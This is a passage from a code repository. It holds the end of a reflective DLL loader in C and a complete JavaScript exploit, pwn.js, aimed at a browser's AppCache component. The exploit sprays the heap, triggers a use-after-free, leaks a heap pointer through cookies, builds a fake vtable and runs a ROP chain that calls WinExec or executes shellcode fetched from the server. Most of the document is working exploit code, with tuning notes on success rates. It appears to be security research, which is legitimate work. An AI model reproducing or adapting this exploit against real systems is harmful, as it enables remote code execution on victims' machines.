370 | 				// we dont use a switch statement to avoid the compiler building a jump table
371 | 				// which would not be very position independent!
372 | #ifdef BITS64
373 | 				if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
374 | 					*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
375 | #else
376 | 				if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
377 | 					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
378 | 				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
379 | 					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
380 | 				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
381 | 					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
382 | #endif
383 | 				// get the next entry in the current relocation block
384 | 				uiValueD += sizeof(IMAGE_RELOC);
385 | 			}
386 | 
387 | 			// get the next entry in the relocation directory
388 | 			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
389 | 		}
390 | 	}
391 | 
392 | 	// STEP 6: process the images exception directory if it has one (PE32+ for x64)
393 | 	/*
394 | 	// uiValueB = the address of the relocation directory
395 | 	uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
396 | 	// check if their are any exception etries present
397 | 	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
398 | 	{
399 | 	// get the number of entries
400 | 	uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
401 | 
402 | 	// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
403 | 	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
404 | 
405 | 	// itterate through all entries
406 | 	while( uiValueA-- )
407 | 	{
408 | 	//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
409 | 
410 | 	// get the next entry
411 | 	uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
412 | 	}
413 | 	}
414 | 	*/
415 | 	// STEP 7: call our images entry point
416 | 
417 | 	INT3();
418 | 
419 | 	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
420 | 	uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
421 | 
422 | 	INT3();
423 | 	// call our respective entry point, fudging our hInstance value
424 | 	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
425 | 	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, 1337, param);
426 | 
427 | 	// addition: call DllMain with dwReason = DLL_INJECT and the given context object (if existing)
428 | 	//if (lpParameter)
429 | 	//	((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_INJECT, lpParameter);
430 | 
431 | 	INT3();
432 | 
433 | 	// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
434 | 	return uiValueA;
435 | }
436 | 
437 | 
438 | // If this breaks, probably the compiler decided to inline pivot, or optimize the call to a jmp
439 | static __declspec(noinline) UINT_PTR WINAPI  pivot(void* param) {
440 | 	UINT_PTR x = Loader(_ReturnAddress(), param);
441 | 	return x + 1;
442 | }
443 | 
444 | __declspec(dllexport) UINT_PTR WINAPI ReflectiveLoader(void* param) {
445 | 	UINT_PTR x = pivot(param);
446 | 	return x - 1;
447 | }


--------------------------------------------------------------------------------
/sandbox/pwn.js:
--------------------------------------------------------------------------------
  1 | // Set this to 'shellcode' to execute /final_shellcode.bin fetched from the server
  2 | var FINAL_PAYLOAD_TYPE = 'notepad';  // shellcode / notepad
  3 | var INSTRUMENTATION_TYPE = 'patch'; // rce / patch
  4 | 
  5 | var final_shellcode;
  6 | 
  7 | var BASE = 0x100000000;
  8 | 
  9 | // Exploit spray parameters
 10 | // TODO: experiment with different values for below
 11 | // to find faster/more reliable leaking
 12 | 
 13 | // observation:
 14 | // successes seem to occur together
 15 | 
 16 | // These experimental values were measured on localhost
 17 | // TODO: test across the network/simulate net slowdown
 18 | // by inserting random sleeps here
 19 | 
 20 | // 300: 3/10
 21 | // 0: 0/1
 22 | // 150: 5/10
 23 | // 500: 0/3 // info leak works pretty well, but code exec fails
 24 | // TODO: split this into two IDLES: for info leak and for code exec
 25 | var IDLE_MS = 300;
 26 | 
 27 | // false: 3/10
 28 | // true: 5/10 // lots of failures to find a pointer in leaked bytes
 29 | var CLEAR_BLOBS_EACH_ATTEMPT = false;
 30 | 
 31 | // 0xa0 (160): 3/10
 32 | // 0: 4/10
 33 | // 80: 5/10
 34 | 
 35 | // 320: 17/30 successes/attempts
 36 | // failure types:
 37 | // 1 crash during infoleak itself
 38 | // 4 crash w/ valid heap, invalid payload
 39 | // 2 leak didn't have a pointer in it
 40 | // 2 fake ascii pointer in info leak
 41 | 
 42 | var INITIAL_SPRAY = 320;
 43 | 
 44 | // 0xa0 (160): 3/10
 45 | // 0: 5/10
 46 | // ^ started using guest mode here
 47 | // 80: 5/10
 48 | // 320: 8/10
 49 | // 320 try 2: 3/7
 50 | var PRE_TRIGGER_SPRAY = 0xa0;
 51 | 
 52 | // 0xa0 (160): 3/10
 53 | // 0: 5/10
 54 | // ^ started using guest mode here
 55 | // 80: 5/10
 56 | // 320: 8/10
 57 | var PRE_FREE_SPRAY = 0xa0;
 58 | var PRE_COOKIE_SPRAY = 0;
 59 | 
 60 | // 0xa0 (160): 3/10
 61 | // 0: 0/5
 62 | // 80: 6/10
 63 | // 320: 0/4
 64 | var POST_COOKIE_SPRAY = 0xa0;
 65 | // Missing: size of cookie. 108 appears to be pretty
 66 | // pointer dense when we can trigger the leak already
 67 | // but this could be improved. See pwn.py
 68 | 
 69 | async function fetch_final_shellcode() {
 70 |     let resp = await fetch('/final_shellcode.bin');
 71 |     final_shellcode = await resp.arrayBuffer();
 72 | }
 73 | 
 74 | function w64(ab, offset, value) {
 75 |     var u32 = new Uint32Array(ab);
 76 |     u32[offset/4] = value % BASE;
 77 |     u32[offset/4+1] = value / BASE;
 78 | }
 79 | 
 80 | function r64(ab, offset) {
 81 |     var u32 = new Uint32Array(ab);
 82 |     return u32[offset/4] + BASE * u32[offset/4+1];
 83 | }
 84 | 
 85 | function log(x) {
 86 |     prog.innerText += `[+] ${x}\n`;
 87 | }
 88 | 
 89 | var prog;
 90 | function log_clear(phase) {
 91 |     document.getElementById("progress").innerText = "Progress:";
 92 |     prog = document.getElementById("progress-"+phase);
 93 |     prog.innerText = "";
 94 | }
 95 | 
 96 | function check_patched() {
 97 |     console.log(document.queryCommandValue("is_hacked"));
 98 |     return document.queryCommandValue("is_hacked") == "yes_hacked";
 99 | }
100 | 
101 | if (INSTRUMENTATION_TYPE == 'patch' && !check_patched()) {
102 |     log_clear('rce');
103 |     log('Patched renderer not found, falling back to V8 RCE');
104 |     INSTRUMENTATION_TYPE = 'rce';
105 | }
106 | 
107 | if (INSTRUMENTATION_TYPE == 'rce') {
108 |     var RegisterHost = function(host_id) {
109 |         console.dir(2, document, host_id);
110 |     }
111 | 
112 |     var UnregisterHost = function(host_id) {
113 |         console.dir(3, document, host_id);
114 |     }
115 | 
116 |     var strcache = [];
117 |     var strcache_u8 = [];
118 |     for (var i = 0; i < 2; ++i) {
119 |         strcache[i] = new ArrayBuffer(0x100);
120 |         strcache_u8[i] = new Uint8Array(strcache[i]);
121 |     }
122 | 
123 |     // Parsing ArrayBuffers is way easier than parsing strings
124 |     function cache_str(idx, str) {
125 |         for (var i = 0; i < str.length; ++i)
126 |         strcache_u8[idx][i] = str.charCodeAt(i);
127 |         strcache_u8[idx][str.length] = 0;
128 |         return strcache[idx];
129 |     }
130 | 
131 |     var SelectCache = function(host_id, doc_url, cache_id, manifest_url) {
132 |         //document.SelectCache(host_id, doc_url, cache_id, manifest_url);
133 |         console.dir(4, document, host_id, cache_str(0, doc_url), cache_id, cache_str(1, manifest_url));
134 |     }
135 | 
136 |     var tmp_buf = new ArrayBuffer(0x1000000);
137 |     var tmp_buf_u8 = new Uint8Array(tmp_buf);
138 |     var tmp_buf_u32 = new Uint32Array(tmp_buf);
139 |     var Cookies = function() {
140 |         document.cookie;
141 |         console.dir(5, tmp_buf);
142 |         var sz = tmp_buf_u32[0];
143 |         var chars = [];
144 |         for (var i = 0; i < sz; ++i) {
145 |             chars.push(tmp_buf_u8[4+i]);
146 |         }
147 |         return String.fromCharCode.apply(null, chars);
148 |     }
149 | 
150 |     var Gadgets = function() {
151 |         console.dir(6, tmp_buf);
152 | 
153 |         return [
154 |             r64(tmp_buf, 0), // WinExec
155 |             r64(tmp_buf, 8), // pivot gadget
156 |             r64(tmp_buf, 6*8), // VirtualProtect
157 |             [
158 |                 r64(tmp_buf, 0x10),
159 |                 r64(tmp_buf, 0x18),
160 |                 r64(tmp_buf, 0x20),
161 |                 r64(tmp_buf, 0x28),
162 |             ],
163 |         ]
164 |     }
165 |     
166 |     var check = function() {
167 |         var ab = new ArrayBuffer(0x100);
168 |         console.dir(1, ab);
169 |         if (new Uint8Array(ab)[0] != 0x41) {
170 |             log("No instrumentation found.");
171 |             return false;
172 |         }
173 | 
174 |         document.cookie = 'foobar=b';
175 |         if (!Cookies().match(/foobar/)) {
176 |             log("Cookie instrumentation does not work.");
177 |             return false;
178 |         }
179 |         Gadgets();
180 |         return true;
181 |     }
182 | 
183 | } else if (INSTRUMENTATION_TYPE == 'patch') {
184 |     var check = check_patched;
185 | 
186 |     var RegisterHost = function(host_id) {
187 |         document.writeln("2", host_id.toString());
188 |         // document.RegisterHost(host_id);
189 |     }
190 | 
191 |     var UnregisterHost = function(host_id) {
192 |         document.writeln("3", host_id.toString());
193 |         // document.UnregisterHost(host_id);
194 |     }
195 | 
196 |     var SelectCache = function(host_id, doc_url, cache_id, manifest_url) {
197 |         document.writeln("4", host_id.toString(), doc_url, cache_id.toString(), manifest_url);
198 |         // console.dir(4, document, host_id, cache_str(0, doc_url), cache_id, cache_str(1, manifest_url));
199 |     }
200 | 
201 |     var Cookies = function() {
202 |         var s = ''+document.cookie;
203 |         var chars = [];
204 |         for (var i = 0; i < s.length; i += 2) {
205 |             chars.push(parseInt(s.slice(i, i+2), 16));
206 |         }
207 |         return String.fromCharCode.apply(null, chars);
208 |     }
209 | 
210 |     var get_gadget = function(name) {
211 |         var s = document.queryCommandValue("get_gadget_" + name);
212 |         log("raw gadget string: " + s);
213 |         var addr = 0;
214 |         for (var i = 0; i < s.length; i++) {
215 |             addr *= 10;
216 |             addr += parseInt(s[i], 10);
217 |         }
218 |         return addr;
219 |     }
220 | 
221 |     var Gadgets = function() {
222 |         var WinExec = get_gadget("WinExec");
223 |         var longjmp = get_gadget("longjmp");
224 |         var poprcx = get_gadget("poprcx");
225 |         var poprdx = get_gadget("poprdx");
226 |         return [WinExec, longjmp, 0, [poprcx, poprdx]];
227 |     }
228 | } else {
229 |     log("Unknown instrumentation type: " + INSTRUMENTATION_TYPE);
230 |     throw null;
231 | }
232 | 
233 | function sleep(ms) {
234 |     return new Promise(resolve => setTimeout(resolve, ms));
235 | }
236 | 
237 | async function start_response(req) {
238 |     // Will trigger OnResponseStarted
239 |     await fetch('/complete/'+req+'/1');
240 | }
241 | 
242 | async function complete_response(req) {
243 |     // Will trigger HandleXXXCompleted
244 |     await fetch('/complete/'+req+'/2');
245 | }
246 | 
247 | async function complete_all() {
248 |     await fetch('/complete_all');
249 | }
250 | 
251 | async function idle() {
252 |     await sleep(IDLE_MS);
253 | }
254 | 
255 | async function reset() {
256 |     await fetch('/reset');
257 | }
258 | 
259 | function make_seed() {
260 |     return (Math.random() * 1000000000)|0;
261 | }
262 | 
263 | var blob_spray = [];
264 | var blob_cnt = 0;
265 | function spray_blobs(size, n, c) {
266 |     if (!c) c = 'A';
267 |     var s = 'z_small'+blob_cnt;
268 |     var b = new Blob([s]);
269 |     var bary = [];
270 |     for (var i = 0; i < n; ++i) {
271 |         bary.push(b);
272 |         if (c instanceof ArrayBuffer) {
273 |             var ab = c.slice(0); // make a copy
274 |             w64(ab, ab.byteLength - 8, i);
275 |             bary.push(ab);
276 |         } else {
277 |             var s = 'z_'+blob_cnt+'_'+i+'_';
278 |             s += c.repeat(size-s.length);
279 |             bary.push(s);
280 |         }
281 |     }
282 |     blob_spray.push(new Blob(bary));
283 |     blob_cnt++;
284 | }
285 | 
286 | function heapspray(loc) {
287 |     var page = new ArrayBuffer(0x1000);
288 | 
289 |     [WinExec, longjmp, VirtualProtect, pop] = Gadgets();
290 | 
291 |     /* 
292 |     gadgets:
293 |     pop rcx
294 |     pop rdx
295 |     pop r8
296 |     mov r9, rcx; sub r9, rdx; cmp rcx, rdx; mov qword[r8], r9; sbb eax, eax; and eax, 0x80070216
297 |     */
298 | 
299 |     log(`WinExec @ 0x${WinExec.toString(16)}`);
300 |     log(`VirtualProtect @ 0x${VirtualProtect.toString(16)}`);
301 |     log(`longjmp gadget @ 0x${longjmp.toString(16)}`);
302 |     log(`pop gadget @ 0x${pop[0].toString(16)}`);
303 |     var ret = pop[0] + 1;
304 | 
305 |     // AppCacheGroup
306 |     w64(page, 0, 0); // ref_cnt_
307 |     w64(page, 0x9c, 1); // is_obsolete_
308 |     w64(page, 0xe0, 0); // newest_complete_cache_
309 |     w64(page, 0xe8, loc+8); // update_job_
310 | 
311 |     // empty std::vector
312 |     w64(page, 0xc8, 0); // old_caches_
313 |     w64(page, 0xd0, 0); // old_caches_+8
314 |     w64(page, 0xd8, 0); // old_caches_+0x10
315 | 
316 |     // AppCacheUpdateJob
317 |     w64(page, 8, loc+0x10-0x38);  // vtable
318 |     w64(page, 0x10, longjmp);  // vtable entry = RIP
319 |     w64(page, 8 + 0x10, loc+0x100);  // new RSP
320 |     w64(page, 8 + 0x50, ret);  // new RIP
321 | 
322 |     // ROP chain
323 |     var rop;
324 |     if (FINAL_PAYLOAD_TYPE == 'shellcode') {
325 |         var shellcode_addr = loc + 0x300;
326 | 
327 |         rop = [
328 |             pop[0], loc + 0x200, // rcx = &dummy
329 |             pop[1], 0,           // rdx = 0
330 |             pop[2], loc + 0x200, // r8 = &dummy
331 |             pop[3],              // r9 = rcx - rdx ; touch [r8]
332 |             pop[0], shellcode_addr - shellcode_addr%0x1000, // rcx = shellcode & ~0xfff
333 |             pop[1], 0x1000,           // rdx = 0x1000
334 |             pop[1], 0x40,             // r8 = PAGE_EXECUTE_READWRITE
335 |             VirtualProtect,
336 |             shellcode_addr,
337 |         ];
338 | 
339 |         (new Uint8Array(page)).set(new Uint8Array(final_shellcode), 0x300);
340 |     } else if (FINAL_PAYLOAD_TYPE == 'notepad') {
341 |         rop = [
342 |             pop[0], loc + 0x200, // rcx = cmd
343 |             pop[1], 5, // rdx = SW_SHOW
344 |             WinExec,
345 |         ];
346 | 
347 |         var cmd = "calc.exe\0";
348 |         var chars = [];
349 |         for (var i = 0; i < cmd.length; ++i)
350 |             chars.push(cmd.charCodeAt(i));
351 |         (new Uint8Array(page)).set(chars, 0x200);
352 |     } else {
353 |         log("Unknown payload type: " + FINAL_PAYLOAD_TYPE);
354 |         throw null;
355 |     }
356 | 
357 |     for (var i = 0; i < rop.length; ++i) {
358 |         //log(`ROP 0x${rop[i].toString(16)}`);
359 |         w64(page, 0x100 + 8*i, rop[i]);
360 |     }
361 | 
362 |     var size = 0x800000;
363 |     var payload = new ArrayBuffer(size); // 16 MiB
364 |     var u8 = new Uint8Array(payload);
365 |     var page8 = new Uint8Array(page);
366 |     for (var i = 0; i < size; i += 0x1000)
367 |         u8.set(page8, i);
368 | 
369 |     for (var i =  0; i < 100; ++i) {
370 |         w64(payload, size - 8, i);
371 |         blob_spray.push(new Blob([payload]));
372 |     }
373 | }
374 | 
375 | function c_encode(s) {
376 |     var res = [];
377 |     for (var i = 0; i < s.length; ++i) {
378 |         var c = s.charCodeAt(i);
379 |         if (c < 0x20 || c >= 0x7f || c == 0x5c)
380 |             res.push('\\x' + ('0'+c.toString(16)).slice(-2));
381 |         else
382 |             res.push(String.fromCharCode(c));
383 |     }
384 |     return res.join('');
385 | }
386 | 
387 | // num_refs = how many references to keep to the deleted AppCache.
388 | // Will return the host IDs which hold the references.
389 | async function trigger(num_refs) {
390 |     var uaf_hosts = [];
391 | 
392 |     await reset();
393 |     await idle();
394 | 
395 |     var seed = make_seed();
396 |     var url = document.documentURI + 'trigger/payload/'+seed;
397 | 
398 |     for (var i = 0; i < num_refs; ++i) {
399 |         uaf_hosts.push(seed+2+i);
400 |     }
401 | 
402 |     RegisterHost(seed+0);
403 |     RegisterHost(seed+1);
404 |     uaf_hosts.forEach((host) => {
405 |         RegisterHost(host);
406 |     });
407 |     SelectCache(seed+0, url, 0, url);
408 |     log('  Step 1');
409 |     await idle();
410 | 
411 |     // This will allocate the AppCache (actually OnResponseStarted will already)
412 |     await complete_response(0);
413 |     await idle();
414 | 
415 |     SelectCache(seed+1, url, 0, url);
416 |     log('  Step 2');
417 |     await idle();
418 | 
419 |     await complete_response(1);
420 |     await idle();
421 | 
422 |     uaf_hosts.forEach((host) => {
423 |         SelectCache(host, url, 0, url);
424 |     });
425 |     log('  Step 3');
426 |     await idle();
427 | 
428 |     await complete_response(2);
429 |     await idle();
430 | 
431 |     UnregisterHost(seed+1);
432 |     RegisterHost(seed+1);
433 |     SelectCache(seed+1, url, 0, url);
434 |     log('  Step 4');
435 |     UnregisterHost(seed+1);
436 | 
437 |     return [seed+0, uaf_hosts];
438 | }
439 | 
440 | // Assign a score for how likely the leaked QWORD is a heap address.
441 | function score_leak(leak_num) {
442 |     var all_ascii = true;
443 |     var unique_chars = new Set();
444 |     var letters = 0;
445 |     while (leak_num > 0) {
446 |         var byte = leak_num & 0xFF;
447 |         if (byte > 0x7f) {
448 |             all_ascii = false;
449 |         }
450 |         if (!byte || String.fromCharCode(byte).match(/[a-zA-Z0-9_ +\-*&%^$#@!{}|[\\\];':"]/))
451 |             letters += 1;
452 |         unique_chars.add(byte);
453 |         leak_num = Math.floor(leak_num / 256);
454 |     }
455 | 
456 |     // more unique chars is better
457 |     var score = unique_chars.size - letters;
458 | 
459 |     // non-ascii is even better
460 |     if (!all_ascii) {
461 |         score *= 10;
462 |     }
463 | 
464 |     return score;
465 | }
466 | 
467 | function choose_best_leak(leaks) {
468 |     var best_idx = 0;
469 |     var best_score = score_leak(leaks[0]);
470 |     for (var i = 1; i < leaks.length; i++) {
471 |         var score = score_leak(leaks[i]);
472 |         if (score > best_score) {
473 |             best_score = score;
474 |             best_idx = i;
475 |         }
476 |     }
477 |     return leaks[best_idx];
478 | }
479 | 
480 | // If you see a bad leak choice when debugging, add the
481 | // candidates as a testcase here and make all the tests
482 | // pass!
483 | function choose_best_leak_test() {
484 |     var leaks = [0x797979797979, 0x204cc521c10, 0xffffffff00];
485 |     var best_leak = choose_best_leak(leaks);
486 |     if (best_leak != 0x204cc521c10) {
487 |         alert("test 1 failed");
488 |     }
489 | 
490 |     var leaks = [0x01dd00323330, 0x01ddf336d0c8];
491 |     var best_leak = choose_best_leak(leaks);
492 |     if (best_leak != 0x01ddf336d0c8) {
493 |         alert("test 2 failed");
494 |     }
495 | }
496 | 
497 | async function leak_heap_address() {
498 |     if (CLEAR_BLOBS_EACH_ATTEMPT) {
499 |         blob_spray = [];
500 |     }
501 | 
502 |     if (INITIAL_SPRAY) {
503 |         spray_blobs(0xa0, INITIAL_SPRAY, 'a');
504 |         await idle();
505 |     }
506 | 
507 |     for (var run = 0;; ++run) {
508 |         log_clear('infoleak');
509 |         log('Infoleak try ' + run);
510 | 
511 |         if (PRE_TRIGGER_SPRAY) {
512 |             spray_blobs(0xa0, PRE_TRIGGER_SPRAY, 'b');
513 |             await idle();
514 |         }
515 | 
516 |         var [free, uaf_hosts] = await trigger(100);
517 | 
518 |         if (PRE_FREE_SPRAY) {
519 |             // Clear free list
520 |             spray_blobs(0xa0, PRE_FREE_SPRAY, 'c');
521 |             await idle();
522 |         }
523 | 
524 |         // This will free the AppCache
525 |         log('  Triggering');
526 |         UnregisterHost(free);
527 | 
528 |         if (PRE_COOKIE_SPRAY) {
529 |             spray_blobs(0xa0, PRE_COOKIE_SPRAY, 'a');
530 |         }
531 | 
532 |         await fetch('/cookies');
533 | 
534 |         if (POST_COOKIE_SPRAY) {
535 |             spray_blobs(0xa0, POST_COOKIE_SPRAY, 'd');
536 |             await idle();
537 |         }
538 |         
539 |         // Trigger decrement
540 |         var subtract = 96; // should be divisible by 8!
541 |         uaf_hosts.slice(0,subtract).forEach((h) => UnregisterHost(h));
542 |         
543 |         complete_all();
544 |         idle();
545 | 
546 |         var cookies = Cookies().split('foo; ');
547 | 
548 |         var leaks = [];
549 |         var leaked = false;
550 |         var leaky_cookie;
551 |         cookies.forEach((cookie) => {
552 |             for (var j = 0; j < cookie.length && !leaked; ++j) {
553 |                 if (cookie.charCodeAt(j) == 0) {
554 |                     leaked = true;
555 |                     log('Leak: ' + c_encode(cookie));
556 |                     break;
557 |                 }
558 |             }
559 |             for (var j = 0; j + 8 <= cookie.length; j += 8) {
560 |                 if (cookie.charCodeAt(j+7) == 0
561 |                         && cookie.charCodeAt(j+6) == 0
562 |                         && cookie.charCodeAt(j+5) < 0x7f
563 |                         && cookie.charCodeAt(j+5) != 0) {
564 |                     value = 0;
565 |                     for (var k = j+5; k >= j; --k)
566 |                         value = value*0x100 + cookie.charCodeAt(k);
567 |                     log(`Potential pointer 0x${value.toString(16)}`);
568 |                     log('  Full leak: ' + c_encode(cookie));
569 |                     leaks.push(value);
570 |                 }
571 |             }
572 |         });
573 |         
574 |         if (leaks.length > 0) {
575 |             break;
576 |         }
577 |         // TODO remove later
578 |         if (leaks.length == 0 && leaked) {
579 |             log('Fail. We are bound to crash in the next iteration. No need to try.');
580 |             //throw null;
581 |         }
582 |     }
583 | 
584 |     return choose_best_leak(leaks);
585 | }
586 | 
587 | async function apply_patch() {
588 |     if (INSTRUMENTATION_TYPE == 'patch') {
589 |         return check();
590 |     }
591 | 
592 |     if (INSTRUMENTATION_TYPE == 'rce') {
593 |         let resp = await fetch('/shellcode.bin');
594 |         let patch_shellcode = await resp.arrayBuffer();
595 |         log(`Got ${patch_shellcode.byteLength} bytes of instrumentation code`);
596 | 
597 |         log('Getting RCE');
598 | 
599 |         var worker = new Worker('renderer/rce_worker.js');
600 |         worker.postMessage(patch_shellcode);
601 | 
602 |         // Wait for RCE to succeed.
603 |         do {
604 |             await sleep(2000);
605 |         } while (!check());
606 | 
607 |         return true;
608 |     }
609 | 
610 |     log("Unsupported instrumentation type: " + INSTRUMENTATION_TYPE);
611 |     return false;
612 | }
613 | 
614 | 
615 | async function uaf_vtable_call(payload) {
616 |     var fake_appcache = new ArrayBuffer(0xa0);
617 |     for (var i = 0; i < 0xa0; i += 8) {
618 |         w64(fake_appcache, i, i*BASE + 0x41414141);
619 |     }
620 | 
621 |     w64(fake_appcache, 0, 1);
622 |     w64(fake_appcache, 0x10, payload);
623 | 
624 |     for (var run = 0; ; ++run) {
625 |         log_clear('rip');
626 |         log(`Code exec try ${run}`);
627 |         var [free, uaf_hosts] = await trigger(2);
628 | 
629 |         log('  Triggering');
630 |         UnregisterHost(free);
631 | 
632 |         // Reclaim
633 |         for (var i = 0; i < 500; ++i) {
634 |             //var s = '\1\0\0\0'+i;
635 |             //s += 'A'.repeat(0xa0-s.length);
636 |             var s = fake_appcache.slice(0);
637 |             w64(s, 0xa0-8, i);
638 |             new Blob([s]);
639 |         }
640 |         await idle();
641 |         UnregisterHost(uaf_hosts[0]);
642 |     }
643 | }
644 | 
645 | 
646 | async function pwn() {
647 |     if (FINAL_PAYLOAD_TYPE == 'shellcode') {
648 |         await fetch_final_shellcode();
649 |     }
650 | 
651 |     log_clear('rce');
652 | 
653 |     var patched = await apply_patch();
654 |     if (!patched) {
655 |         log('Renderer patch missing or could not be applied');
656 |         return;
657 |     } else {
658 |         log('Renderer patch successful, proceeding');
659 |     }
660 | 
661 |     var leak = await leak_heap_address();
662 |     log(`Heap @ 0x${leak.toString(16)}`);
663 | 
664 |     // location will be ((leak + 0x10000000) & ~0xfff + 0x60)
665 |     var payload = leak + 0x10000000;
666 |     payload -= payload % 0x1000;
667 |     payload += 0x60;
668 |     log(`Payload @ 0x${payload.toString(16)}`);
669 | 
670 |     heapspray(payload);
671 |     await sleep(500);
672 | 
673 |     await uaf_vtable_call(payload);
674 | }


--------------------------------------------------------------------------------